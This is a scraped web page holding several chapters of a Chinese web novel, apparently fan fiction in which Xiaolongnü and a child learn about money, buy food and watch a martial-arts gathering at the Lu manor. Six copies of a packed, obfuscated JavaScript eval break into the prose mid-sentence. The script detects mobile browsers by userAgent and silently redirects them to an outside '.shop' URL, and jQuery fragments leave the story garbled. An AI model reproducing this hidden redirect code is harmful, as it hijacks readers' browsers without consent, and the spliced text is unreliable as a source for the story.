;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750844|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 粒碎银去买,人家要找你许多铜钱。若遇上坏心的,见你不懂,便可能少找你,甚至直接说不够。” 小童子皱眉,“他要骗我们!” “外头骗人不少。”妇人道,“所以你们要懂。” 她又拿起一小块碎银,“这块约莫一钱多些。能买不少包子,也能买几碗面汤。若住普通客栈,一晚连饭钱在内,也许要一二钱,也许更多。遇上大胜关现在这种热闹时候,店家见人多,便会涨价。” 小龙女问:“为何涨?” 妇人道:“来住的人多,房少。你不住,自有人住,他便敢多要。” 小龙女想了想,古墓里石室虽多,从没有人拿银子来换一夜住处,更不会因来的人多了,便忽然贵起来。 小童子则问:“若我们给他很多银子,他能让我们住很久?” 妇人道:“能。只要房还在。” 她又拿起稍大的一块,“这是半两上下。半两银子,若在平常地方买粗米,能买不少。可米有好有坏,精米、粗米、陈米、新米,价都不同。你们要买回去长期吃,不能只看便宜。坏米吃了伤身。” 小童子认真重复:“坏米不能买。” 小龙女也点头记下。 妇人继续道:“一两银子,若不遇荒年,能买许多米。可你们说要好久吃不完,那便不是一两二两的事。要看你们买多少袋,买什么米,送到终南山哪一处。山路难走,车马和脚夫也要钱。” 小童子听到这里,终于明白一些。 原来银子不是给出去就完了,它会变成肉包、点心、面汤、米、客栈、车马、脚夫。还会因为人多变贵,因为米好变贵,因为路远变贵。 一袋米背后竟有这么多学问。 小龙女也看着桌上的银子,她从前知道古墓有财物。师父留下许多东西,金银珠玉堆在石室里。她从未觉得那些有什么特别。江湖人为了它们闯进古墓,她只觉得可笑。她们又不戴珠玉,也不拿金银练功。那些东西放在箱子里,与石头没有太大分别。 可现在她知道了,银子可以换米,可以换热汤,可以换一间夜里能歇脚的屋子,还可以让车队把许多粮食送回终南山。 古墓里确实有“金银宝藏”,只是那宝藏,并非江湖人以为的那样。它落在箱子里时像石头,换出去时,便是米粮、热汤和古墓派往后的日子。 小童子显然也想到这一点,她低声道:“龙儿,古墓里真的有宝藏。以前我以为那些只是亮一些的石头。” 妇人听见,差点笑出声,亮一些的石头。若被外头那些为了古墓宝藏打破头的江湖人听见,不知会不会气死。 妇人拿起一小枚银子,放到小童子掌心,“这个你们留着。” 她又挑了几块小碎银,一并放过去。 “这些也留着。你们两个身上不能一文不带。要买包子、点心、面汤,或临时雇人打听路,都用得上。大的我先拿去替你们问粮商、订车队。” 32.银子(2) 小童子看着掌心里的小银子,“这些能买很多肉包?” 妇人道:“对,能买很多。” 小童子顿时很慎重地把它们收进贴身的小袋里。 小龙女问:“能买点心吗?” 妇人笑意更深:“能。” 小龙女神情依旧清淡,却把那枚小银子认真放好。回想起孙婆婆还在时,常会给小童子买些点心回来,小童子每回都吃得很高兴。原来这一点银钱,到了街市上,便能换来小童子爱吃的点心。 妇人把其余银子收好,又拿出纸笔,简单写了几笔,“这些银子,我替你们收着,我到时告诉你们买卖的项目。你们若不懂,也可以问。” 小童子看着她把银子收起来,忽然想起妇人方才说的话,“外头骗人不少”。 这句话是妇人教她的,她刚学会,便立刻用在了妇人身上。 小童子道:“你不骗我们?” 妇人一怔,随即被她气笑了,这话还是她自己刚教的。结果这孩子现学现用,转头就用到她身上。妇人又好气又好笑地点了点小童子:“学得倒快。” 她把纸笔往桌上一放,道:“我赚的是明面上的中间钱,不赚昧心钱。米价多少,车马多少,我会一项一项写给你们看。再说了,你们若觉得我骗你们,凭你们的轻功,我怕是跑不掉。” 小童子觉得这话很有道理。 小龙女认为对方很真诚:“多谢。” 妇人摆手:“谢的话等米送到了再说。现在你们两个去陆家庄那边看看热闹吧。” 小童子立刻摇头:“我们不看选举。” “你们不看,也要去。”妇人道,“现在这里人太多,粮商一时半会儿未必空。我去张罗食物和运送车队的事,你们两个留在客栈里也帮不上忙。陆家庄那边今日热闹,许多武林人士都去了。你们去看一圈,等看完回来,大米差不多也能准备好了。” 小童子迟疑:“不看不行吗?” 妇人一本正经道:“不行。不看选举,米商就不卖米。” 小童子:“你又逗我!” 小龙女抬眼看妇人。 妇人忍着笑,咳了一声:“总之,你们去看。看完回来,米就有了。” 小龙女问:“看完便有米?” 妇人笑着点头:“看完便回来,我尽力叫米准备好。” 小童子有些犹豫,她不想看武林盟主,她只想买米回古墓。可妇人说买米需要问价、看米、订车、安排脚夫,而这些她和小龙女都不懂。 小龙女看了小童子一眼:“去看看。” 小童子惊讶:“龙儿想看?” 小龙女道:“选武林盟主,便有人用武,那就能观摩别人的武学。” 小童子眼睛亮了一下,这个理由比看选举武林盟主有意思多了。 她对谁做盟主没有兴趣,可若有很多人用武,能看到不同的掌法、剑法、刀法、轻功,也许能给足下剑、肩上剑一点启发,“那去!” 妇人看着两人,笑道:“从客栈出去,顺着人最多的方向走便是陆家庄。别和人起冲突,别露太多银子,饿了就买点东西吃。记得,肉包几个钱,面汤也不贵。若有人问你们从哪里来,不想说就别说。” 小童子认真点头,小龙女也记下。 妇人又不放心,补了一句:“若有人要骗你们去偏僻地方,别去。” 小童子问:“为何?” 妇人道:“多半没好事。” 小童子想了想,道:“若他武功不好呢?” 妇人被问住,无奈:“武功不好也别去,外头的麻烦不全靠武功解决。” 小龙女听见这句,倒是多看了她一眼。外头的麻烦不全靠武功解决,这话她记住了。 两人离开客栈时,身上只留了几颗小碎银。 小童子走在街上,觉得衣襟里的小袋变得更重要。那几块碎银贴着衣襟放着,沉甸甸的。小童子从前只觉得剑和弓可靠,如今忽然觉得,银子也很可靠。 她低声道:“龙儿,银子真厉害。” 小龙女道:“嗯,能买米。” 小童子郑重点头:“能买米。” 她走了几步,又忽然道:“孙婆婆好厉害啊。” 小龙女看向她。 小童子认真道:“她从前一个人下山,知道哪里有米,哪里有菜,知道银子价值多少,知道铜钱能买多少个肉包,还知道怎么把东西带回古墓。” 这些事从前都像厨房里的烟火一样自然,米缸会满,盐罐会添,青菜会洗好,锅里会有汤。她们只知道练功、吃饭、睡寒冰床,从未想过这些东西是如何从山下到了墓里。如今她们只是买一回米,便要学习银子、铜钱、客栈、车队、脚钱、中间人。 小童子越想越觉得孙婆婆厉害:“她是买米奇才。” 小龙女安静片刻,点头赞同:“嗯,确实如此。” 孙婆婆的武功不高,可她知道很多她们不知道的事,把厨房和肉食整理得非常妥帖。 两人牵着手,顺着人声最盛处走去。 客栈外的日头比屋里亮许多,青石路被来往车马踏得发白,缝隙里积着细细的尘。街边棚布低垂,热气、油香、茶香、汗味与马匹身上的气味混在一处,像一张热闹的网,罩在整条街上。 小龙女走在人群里,白衣仍旧一尘不染。有人从她身侧挤过,她衣角轻轻一避,像被风托着一般。小童子则紧紧牵着她,眼睛时不时看向摊子,又时不时低头看自己贴身收好的小银子。那几块碎银在她心里已经不只是银子,而是好多好吃的。 路上忽然飘来一阵热腾腾的香气。 那香气从一个蒸笼摊子里冒出来,白雾一团一团往上翻,笼屉边缘挂着水珠,摊主掀开蒸笼时,雪白的包子挤在一起,皮面被热气蒸得发亮。 做买卖的人站在摊后,嗓门洪亮地喊:“皮薄肉厚的包子!快来尝尝!菜包一铜板,肉包两铜板,新鲜出炉,快来尝尝!” 小童子的脚步一下停住。 她刚才学银子的时候,妇人一直拿包子做教学,一会儿肉包,一会儿铜钱,一会儿找钱。她听得认真,学得也认真,学到最后,脑子里已经装满了各种包子。如今这些包子真的冒着热气摆在她眼前,她哪里还忍得住。 她牵着小龙女的手便往包子铺跑,边跑边喊:“给我两个菜包两个肉包!” 小龙女被她拉着向前,步子却仍轻得很,像是被小童子牵走的风筝。 包子铺老板听见,欢快地回了一声:“好咧!现在就给你装!两人都吃是吧?我给你俩分开装哈!” 他手脚非常爽快,拿油纸一抖,先夹两个菜包,再夹两个肉包。白雾从纸包里冒出来,带着面皮的甜香和肉馅的油香。 小童子接过包子,立刻分了一袋给小龙女,然后从贴身小袋里掏出一块小碎银递过去。 老板接过银子,在手里掂了掂,又拿小秤一称,笑道:“小客官给的是银子,我给你找铜钱。” 他说着,从钱匣里拨出一串铜板,又数了几枚散钱,麻利地放到小童子掌心。 小童子低头看着那些铜板,神情顿时郑重起来,小龙女也微微低下头。 两个脑袋凑到一处,一个一个把铜板点了一遍。铜钱圆圆的,中间有方孔,边缘被许多人摸得发暗。小童子数得很慢,数完一遍,又看小龙女。小龙女也数完了,轻轻点头。 没有少。 小童子这才安心,把铜钱收好。 老板看着她们如此慎重的模样,忍不住笑,却也不催,只道:“刚出笼,烫得很,慢些吃。” 小童子已经咬了一口,包子果然很烫,热气一下从破开的面皮里涌出来,烫得她眼睛都睁大了。她连忙张口哈气,鼓着腮帮子把那口包子在嘴里炒了一遍,才慢慢咽下。 “好吃!”她兴奋地说,“龙儿,这个好好吃,面皮好软和,不过有点烫,你不要像我一样。” 说完,她又忍不住大吃一口,这一次也烫,她又开始哈气。 小龙女静静拿着自己的包子,看着小童子火急火燎地吃,眼中原本淡淡的神色柔和下来。她笑了一下,眉毛和嘴角都只是微微弯起,可那一点笑意落在她清冷的脸上,便格外明显。 小童子看见她笑,心里也跟着开心起来。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752273|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 感觉像喝了一口花蜜,甜甜的,一直甜到胸口。 小龙女抬手,替小童子扇了扇包子上的热气,声音也轻柔:“慢点吃,太烫对身体不好。” 小童子知道小龙女说得对,立刻认真点头。她不再急着往嘴里塞,只把包子拿在手上,等热气散一些,再小口小口地咬。 两人便这样一边拿着包子吃,一边牵着手继续往前走。 再往前行了一小段,街两侧的小摊更多了。卖吃食的支着铁锅,锅里汤水咕嘟作响;卖首饰的把铜簪、银钗、珠串摆在蓝布上,阳光一照便闪闪发亮;卖手工品的摊上有木梳、绣帕、香囊;还有卖竹篾制品的,竹篮、簸箕、筛子、竹筐一字排开,带着新削竹片的清气。 这些东西多不胜数,小童子看哪样都新鲜。小龙女看得更安静些,她不急着问,也不伸手去碰,只把那些形状、声音和价钱一点一点记进心里。 两边的人瞧见她们气质出尘,衣着干净,又不像寻常街上小孩,便都极力招呼。 “小姑娘,看看簪子!” “新磨的芝麻糖,香得很!” “买把小梳子吧,木头好,不伤发!” 小童子被喊得左右张望,小龙女却在一片叫卖声中看见了一家卖点心的小店铺。 店铺门口摆着几层木盘,盘中糕点颜色各异。有雪白的米糕,淡黄的桂花糕,撒着芝麻的酥饼,还有切成小方块的蜜糕。甜香不如包子那样热烈,却细细软软,像孙婆婆从前下山回来时,藏在布包里的味道。 小龙女轻轻拉了拉小童子的手,带她走过去。 两人刚到店铺前,里头便有一位大娘迎出来。大娘围着干净围裙,脸上笑意很足,一开口便极会做买卖。 “两位小客官看看,我家的糕点都是今早做的。米粉磨得细,糖也放得足,桂花是去年秋里晒好的,香气还在。这个软,这个酥,这个甜些,这个不腻。买些路上吃,再合适不过。” 小童子看着那一盘一盘糕点,口水不争气地猛流。 孙婆婆还在的时候,偶尔下山回来,布包里便会多出几块这样的糕点。小龙女和李莫愁都只是尝一点,剩下的多半归了小童子。那时她吃得高兴,却从没想过这些甜味也是用银子换来的。 如今孙婆婆不在了,糕点却还在世上。 小龙女看着那些糕点,说:“每一样要一点。” 大娘一听,笑得更欢,立刻取来油纸,把每样糕点都夹了一些。她眼色很好,看出小童子眼巴巴盯着,装好后便顺手递给了小童子。 小童子欢乐地接下,眼睛又亮了起来,对小龙女道:“谢谢你,龙儿,我爱吃这些。” 说完,她把脸伸过去,贴了贴小龙女的脸颊,表示感谢和快乐。 小龙女笑着把银子递给大娘。 大娘低头称银、找钱,动作也很利落。 小童子拿了一块糕点吃起来,她咬了一口,发现又香又软,便舍不得一个人吃完,立刻把剩下半块递到小龙女嘴边。 小龙女没有推辞,自然地张嘴吃下。 糕点入口微甜,带一点桂花香。她平日不贪这些滋味,可小童子递过来,她便觉得比平日的好吃。 大娘找钱给小龙女,看见两位少年的动作,笑得眼角皱纹都弯起来,嘴上满是吉利话:“新婚夫妇吧,这么恩爱,百年好合哦。” 小童子和小龙女都没太听明白,她们一时分不清大娘话里的含义。但大娘说话时笑容满面,语气喜庆,显然不是坏话。 两人便一起道谢:“谢谢大娘。” 大娘听得更乐,又给她们多塞了一小块酥饼:“拿着,甜甜嘴。” 小童子抱着点心,郑重得像抱着一袋银子。 街上人潮仍往同一个方向涌,远处隐约传来锣声、马嘶声、笑声,还有江湖人高谈阔论的声音。 她们原本只是下山买米。 如今米还没买到,却先学会了买卖的学问。 一袋米背后,竟能牵出这么多门道。两人都觉得神奇,也觉得新鲜。 她们就这样被一袋米牵着,走到了这里。 前方,便是陆家庄。 33.武林大会 陆家庄比小童子和小龙女想象中更热闹,还未到庄门,远远便听见人声如潮。 车马沿道一辆接着一辆,有的插着镖局旗号,有的挂着帮会木牌,也有几匹瘦马拴在柳树下,马背上还搭着刀剑行囊。 到了陆家庄大门口,两边早挤满了摊子,挑担卖茶的、蒸饼的、卖头巾的,都把招呼声往人堆里送,热气与香气混在一起,被人声一冲,竟像开了半条集市。 庄门里外另有一番气象。 两扇朱漆大门敞着,门楣上悬了新换的红绸,庄丁来回引客,丐帮弟子在旁维持秩序。衣着光鲜的名门弟子有之,灰衣草鞋的江湖散人亦有之;有人背剑,有人提刀,有人袖中藏着判官笔,也有人空着两手,却走得比谁都稳。 院墙内外,笑声、骂声、招呼声、兵器轻碰声,此起彼伏。 许多人还未进庄,便已认起了师门、攀起了旧交,三五成群地站在树荫下说话,好像天下武林的消息,都在这一日涌到了陆家庄。 有人高谈阔论,说郭大侠如何仁义,说黄帮主如何机敏;有人说蒙古人近日又在边境如何如何;有人说丐帮弟子遍布天下,消息最灵;还有人说今日武林盟主之位,非郭靖莫属。 小童子听了一路,只听懂了几个词:国家、蒙古、丐帮、郭靖、黄蓉。 她低声问:“龙儿,他们说的这些,和买米有关吗?” 小龙女想了想:“不知。” 小童子又问:“和比武有关吗?” 小龙女回:“或许。” 小童子便不问了,既然是武林大会,总会比武,比武比说话有意思。 两人随着人流步入陆家庄大门。 庄内空地被临时布置成会场,四周插着旗,旗面在风里猎猎作响。中间搭了一个高台,高台前方留出一大片空地,许多江湖人围在四周。远处还有几处棚子,摆着茶水与点心,庄中仆役来往奔走,忙得脚不沾地。 小童子和小龙女没有往前挤,她们不喜欢被人碰到。 小童子原本想跃到屋脊上看,被小龙女轻轻拉住。小龙女看了一眼四周,妇人说过,别露太多。她们若在这许多人面前飞上屋顶,恐怕又要招来一堆目光。 小童子明白了小龙女的意思,便没有起跳。 小龙女牵着她,顺着人群缝隙走到侧边一处。那里有一棵老树,树影落下来,正好遮住半片身形。小龙女停步时,视线能落到高台,也能扫见台下几条进退的空路。她们站在树下,不必挤在人群中间。周围人多,没人特别留意她们,这倒让两人舒服些。 大会早已开始。 高台上有人在说话,那人嗓音洪亮,内力也算不错,一句话传出去,空地周围大半人都能听见。只是他说的内容,小童子听了半天,仍觉得离比武很远。 什么家国危难,什么蒙古南侵,什么江湖同道当齐心协力。什么丐帮,什么郭靖黄蓉,什么昔日襄阳。 小童子起初还认真听,听了一刻钟,便开始走神,转而看向台下的兵刃。 有人带刀,刀背厚,刀柄缠着旧布;有人拿剑,剑鞘上镶着铜片,在阳光下泛着黄灿灿的光;有人拄拐,拐身很沉,应当能藏暗器;有人腰间挂着一对短斧,斧刃锋利反着冷光;还有人手上空空,站立时十指却微微弯着,多半擅长爪法。 这些都比台上说话有意思。 小龙女听得安静,她没有不耐烦的神色,只是眼神慢慢从台上移到台下,又从台下移到远处几名气息较稳的人身上。 她看的不是衣着,也不是兵刃,她在听那些人的呼吸。 有人一开口声震四方,胸腹之气却散,尾音落得太快;有人脚步踏得沉,像是下盘稳固,实则每一步都要借地面回力;也有人站在人群里不说话,肩背松着,呼吸却能压得长而平,内息藏在脉里,不轻易外露。 这些人里有几个内力尚可,但也只是尚可。 比起古墓里一呼一吸皆能听见内息转折的安静,这里太乱。声响太多,气息太杂,许多人明明内力不深,却偏要故意把声音放大,把步子踏重,好让旁人知道自己也有几分本事。小龙女只听了片刻,便大致分得出谁气浮,谁气沉,谁是真有根基,谁只是把声势做给旁人看。 小童子贴近小龙女耳边,小声道:“龙儿,怎么还不打?” 小龙女道:“还在说。” “要说多久?” “不知。” 小童子又听了一会儿,台上的人还在说,旁边有人大声叫好,另一边又有人跟着鼓掌。 小童子看着那些人,忽然觉得他们和之前要闯古墓的那些人有点像。 不是说他们长得像,而是都很能说。 闯古墓那些人一边怕,一边骂,一边商量,一边替自己找借口。这里的人一边听,一边喊,一边议论,一边把别人说过的话再说一遍。 外面的人好像都很会把时间花在嘴上。 小童子轻轻叹了口气,小龙女听见了。她没有看台上,先看了小童子一眼,掌心送出一缕极轻的内力,像问她怎么了。 小童子回了一道更懒的内息:无聊。 小龙女指尖微动:同意。 两人便站在人群边缘,表面上神情冷清,实际却在掌心里无声交流,偶尔还以极细的内力轻轻一碰,算作切磋。 等了许久,高台上的话终于暂歇,有人上场比武。 小童子的眼睛终于亮了一点。 第一场上来的是两个用刀的汉子。一人身材高大,膀阔腰圆,刀一出鞘便喊了一声;另一人矮些,步子却灵活,刀法走得是快路。两人互通姓名后,便开始动手。 刀光一闪,人群立刻叫好。 小童子看了一招、两招、三招,眼里的光慢慢灭了。 高个汉子力气大,但下盘不稳,每一次劈刀都太满,若对手绕到左后,他转身必慢半拍。矮个汉子倒是灵活,可刀法太散,贪快,内力也薄。若真生死相搏,三招内便可逼他露出右肋。 两人打了十几招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755762|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ,台下叫好声越来越大。 小童子却越来越困惑:这种招式,也值得叫好? 小龙女看得更淡,她只看了两招,便知道结果,矮个会赢。 果然,又过二十来招,高个汉子一刀劈空,脚下被逼得乱了半步。矮个抓住机会,刀背压住他手腕,反身一脚踢在对方膝侧。高个汉子跪倒,输了。 台下又是一阵喝彩,小童子没有喝彩,她只觉得更加无聊。 后来又换了几场,剑法、拳脚、短兵器都有。可在小童子和小龙女眼中,大多不甚高明。 有人招式花,却内力浮;有人内力稍厚,变招却慢;有人气势很足,一上台便大喝三声,结果呼吸乱得更快。还有人明明破绽在肩,却要去护腰,像自己都不知道自己输在哪里。 小童子看得眉头微皱,她不是看不起外头人,只是她从小见过的对手太高。 她一睁眼学武,见到的便是林朝英这样的师父。那是曾与王重阳平起平坐过的高手,招式要准,内息要细,进退之间差一分都会受伤。 后来又有天赋极高的小龙女与她日日拆招,拆到剑光入骨,掌影成网,内力在掌心凝成锋。小童子的武学眼界,从一开始便被养在极高处。再看台上这些人,便像看小孩子拿树枝比划。 当然,她小时候也拿过木头动物玩,但那是玩具,台上这些人却很认真,小童子便更不明白。 就在她几乎想拉着小龙女离开时,身旁忽然传来一阵低低的喧闹。 “押哪个?” “我押那个使铁扇的。” “不成,不成,他上一场耗了不少气,这回八成要输。” “我看那姓鲁的也不稳,脚步虚。” “买定离手,别磨蹭。” 小童子侧头看去,不远处几个人挤在一起,中间蹲着一个瘦脸汉子,面前摊着一块旧布。旧布上压着几串铜钱和几小块碎银。旁边人一边看台上,一边往布上放钱。 小童子看了一会儿,没有看懂。她轻轻推了推小龙女掌心,一道内力极细地过去:疑惑。 小龙女看向那边,她不懂他们为何把钱放在一起,却看得出那些人的眼神都落在碎银上,又时不时落在旁人脸上。那种眼神她见过,和强闯古墓的人眼神一样。她回了一道内力:钱。 小童子仍有些疑惑,便继续看下去。 台上这时又换了两人,一人使铁扇,一人使长拳。 周围那些人讨论得很热闹,有人押铁扇赢,有人押长拳赢。还有人因别人押得多,临时改了主意。 小童子越听越觉得奇怪,谁输谁赢,不是一眼就能看出来的事吗? 铁扇那人手腕灵,兵器也巧,可他内力滞在右肩,扇开第三次时肩头一定会顿。使拳那人步伐虽然笨些,气却沉,且不贪功,只要扛过前十五招,铁扇必露疲态。 小童子见那些人还在争,忍不住开口:“使拳的赢。” 周围声音一静,几个人转头看她,瘦脸汉子也抬起头。 34.赌局 小童子却没觉得自己说了什么大事,她只是陈述一件很明显的事。 旁边有人打量她和小龙女。 两个少年站在人群边缘,气质冷清,面容淡漠。一个白衣清绝,一个俊秀利落,手还牵在一起,怎么看都不像来凑赌局热闹的寻常少年。 有人笑道:“小兄弟这么笃定?” 小童子没理会小兄弟这个称呼,点头:“他肩会顿。” 那人听得一怔。 台上比武继续,前十招,铁扇果然占了上风,扇影翻飞,逼得使拳汉子连退数步。押铁扇的人得意起来,正想嘲笑小童子。可到第十六招,铁扇忽然一展一收,右肩果然微微一滞。使拳汉子抓住机会,一拳打入中门。 铁扇败。 周围的人看小童子的眼神顿时变了,瘦脸汉子皱了皱眉。 下一场开始前,众人又开始押。 小童子听他们争了半天,又道:“左边的输。” 果然,左边的输。 再下一场,小童子道:“用剑的赢。” 用剑的赢。 又一场,小童子看了一眼,道:“那个会摔下台。” 众人起初不信,结果那人被逼到台边,脚下一滑,真摔了下去。 周围彻底安静了一瞬,然后许多眼睛都看向小童子。 小童子被看得有些莫名,她看向小龙女。小龙女也看着她,目光仍静,却已把周围人的神色扫了一遍。她掌心轻轻推来一道内力:别多说。 小童子正要点头,瘦脸汉子已经忍不住开口:“小兄弟,你若不买,就莫要出声。” 他的语气不太好,开赌局靠的就是旁人猜不准。若每一局都被这个少年提前说破,那谁还往他这里押错钱? 小童子问:“买什么?” 瘦脸汉子一噎,旁边几个人笑起来。小童子问得太认真,竟不像故意挑衅。 瘦脸汉子眼珠一转,他看出这两个少年气度不凡,多半是哪家大门派的核心弟子,或是哪位隐世高人的徒弟。这样的人武功眼力高,却未必懂赌局。与其让她继续在小局里搅和,不如把她引到更大的注上。 他笑了笑,道:“小兄弟眼力这么好,猜这些小场输赢有什么意思?每局赢几个铜钱,太小了。你若真厉害,该押最后谁能做武林盟主。” 小童子道:“武林盟主是什么?” 这话一出,周围人又静了。有人怀疑自己听错,今日来陆家庄的,竟有人不知道武林盟主是什么? 瘦脸汉子也愣住,他看了看小童子,又看了看小龙女。 小龙女神色平静,她也不知道,却并不觉得不知道有什么可羞愧。 旁边一个中年汉子忍不住道:“你们连武林盟主都不知道,来这里做什么?” 小童子如实道:“买米。” 众人:“……” 这下连瘦脸汉子都说不出话来,有人先笑出声,接着一群人都笑了。 小童子皱起眉,她不觉得买米有什么可笑。小龙女没有看那些笑的人,只把两人交握的手握得更稳些,拇指慢慢抚过小童子的手背。 一个稍厚道些的人见她们不像胡说,便解释道:“所谓武林盟主,就是大家推举一个武功高、声望高、能服众的人出来。如今蒙古人势大,天下不安,江湖各门各派也要有个领头的。盟主带大家同心协力,抗击蒙古,保卫国家。” 小童子听得半懂,小龙女也只听懂一半。 武功高,她们懂;声望高,不太懂;能服众,也不太懂。蒙古是什么,她们听了一路,大概知道是外面的人很忌惮的一群人。 国家更远,古墓不是国家,终南山也不是国家。 她们有师父,有孙婆婆,有古墓,有玉女心经,有米要买。 小童子想了想,道:“就是选一个最厉害的人,带你们去打人?” 那中年汉子噎了一下,这话粗糙,也不能说错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758055|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' :“差不多吧,不是打人,是保家卫国。” 小童子又想了想,更麻烦了。 她原本只是来看别人比武,顺便等米准备好。谁知这里又有国家,又有蒙古,又有丐帮,又有郭靖黄蓉,又有保家卫国。 外面的事,果然比买米还复杂。 瘦脸汉子趁机道:“小兄弟,要不要押一注?押谁最后做盟主。押中了,能赢不少。” 小童子问:“赢了有什么?” “钱啊。” “不玩。” 瘦脸汉子皱眉:“为何?” 小童子道:“无聊。” 她已经学了银子、铜钱、米价、车队、脚钱,不想再学赌局。这些人啰里八嗦说了这么久,还没打出一场值得看的比武。 小童子牵紧小龙女的手,掌心轻轻推过去一道内力:走吗? 小龙女看向台上,又有一人站出来,又重复提起蒙古、国家、义气、江湖。小龙女没有要走,她听见高台后方有几道呼吸一直压得很低,始终未乱。 小龙女回了一道内息:再看一会儿,或许后面会有真正的高手。 小童子有些失望,却还是点头。 两人便继续站在人群边缘,神情冷清地看着台上。 身边赌局的人却不时偷偷看她们,尤其是小童子。这个说自己来买米的少年,不下注,不懂盟主,却能一眼看穿台上输赢。 有人心痒,想让她再说,瘦脸汉子却瞪了那些人一眼。 小童子不明白他们在做什么,她只觉得外面的人真的很怪。 明明输赢一看便知,却还要押钱;明明说是武林大会,却总是在说话;明明买米才是正事,偏偏妇人说不看选举就没有米。 她低头看了看自己与小龙女交握的手。 掌心里,小龙女的内力很稳。 这让她安心了些。 算了,再看一会儿。 看完就回去拿米。 35.麻烦 小童子已经不抱什么指望了。 台上又换了几个人,有人提刀,有人使枪,有人拳脚开合很大,一招一式都要喊出声来。台下仍有人喝彩,仍有人争论,仍有人押钱。可在小童子和小龙女眼里,大多只是热闹。 热闹不等于有趣。 小童子低头看了看自己掌心,小龙女的手还在她手里。两人掌心相贴,内力偶尔轻轻一碰。她们没有继续在手心里拆招,只是借这一点细微的气息确认彼此心意。 走吗? 不急。 这样的无声问答已经来回几次。 小童子觉得,若再没有真正值得看的打斗,她们就该回客栈了。妇人说看完选举才有米,如今也算看过了,回去该能领米了吧? 就在这时,人群忽然一阵骚动。 骚动不是台上寻常比武时的叫好,而是一种带着惊讶、戒备、厌恶和兴奋的混杂声。 小童子抬头,小龙女也看向高台方向。 一个身影出现在擂台前,那人衣饰与中原武林人大不相同,华贵而张扬,手中摇着折扇,脸上仍带着笑。小童子和小龙女都认得这张笑脸,那两次强闯古墓,他都混在人群之中。起先,他跟着李莫愁一同进了古墓;后来冷箭一射,机关声一响,众人乱作一团,他却退得比谁都快。 小童子和小龙女并不知道他的名字,交握的手微微一紧,面上仍看不出半分异样。 她们站在人群边缘,仍像两个冷清的旁观者。可掌心相连处,内力已经轻轻一沉:麻烦。 更麻烦的是,不只那人来了。 擂台另一侧,又有几个道装打扮的人走入众人视线。衣袍样式、发髻、佩剑,小童子和小龙女再熟悉不过:全真教。 那些人不一定是前几日闯古墓的人。 可全真教弟子出现在这里,已是个不小的麻烦。郝大通死在小童子剑下,孙不二和大批弟子又曾伤于玉蜂。那日古墓外,全真教众有人中箭,有人被机关逼退,若此刻认出她们,在这人山人海的陆家庄喊上一声,麻烦便会立刻翻大。 这里不是古墓,没有甬道,没有机关,也没有她们熟悉的黑暗,真打起来只会更麻烦。 她们当然不怕打,可她们是来买米的。 若真在这里同全真教、强闯古墓的那些人,还有满庄武林人士乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758056|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 战起来,米怎么办? 小童子想到这里,头一次觉得,米袋里的那点生计比什么都要紧。小龙女也终于体验到了妇人那句话:有些麻烦不是武功可以解决的。 小童子在小龙女掌心轻轻一推:走。 小龙女回了一下:嗯。 两人不动声色地往后退,却没有转身就走。此刻台上那持扇的人和全真教弟子都时不时望着台下说话,众人的脸也都朝着擂台,她们若逆着人流离开,反倒更显眼。 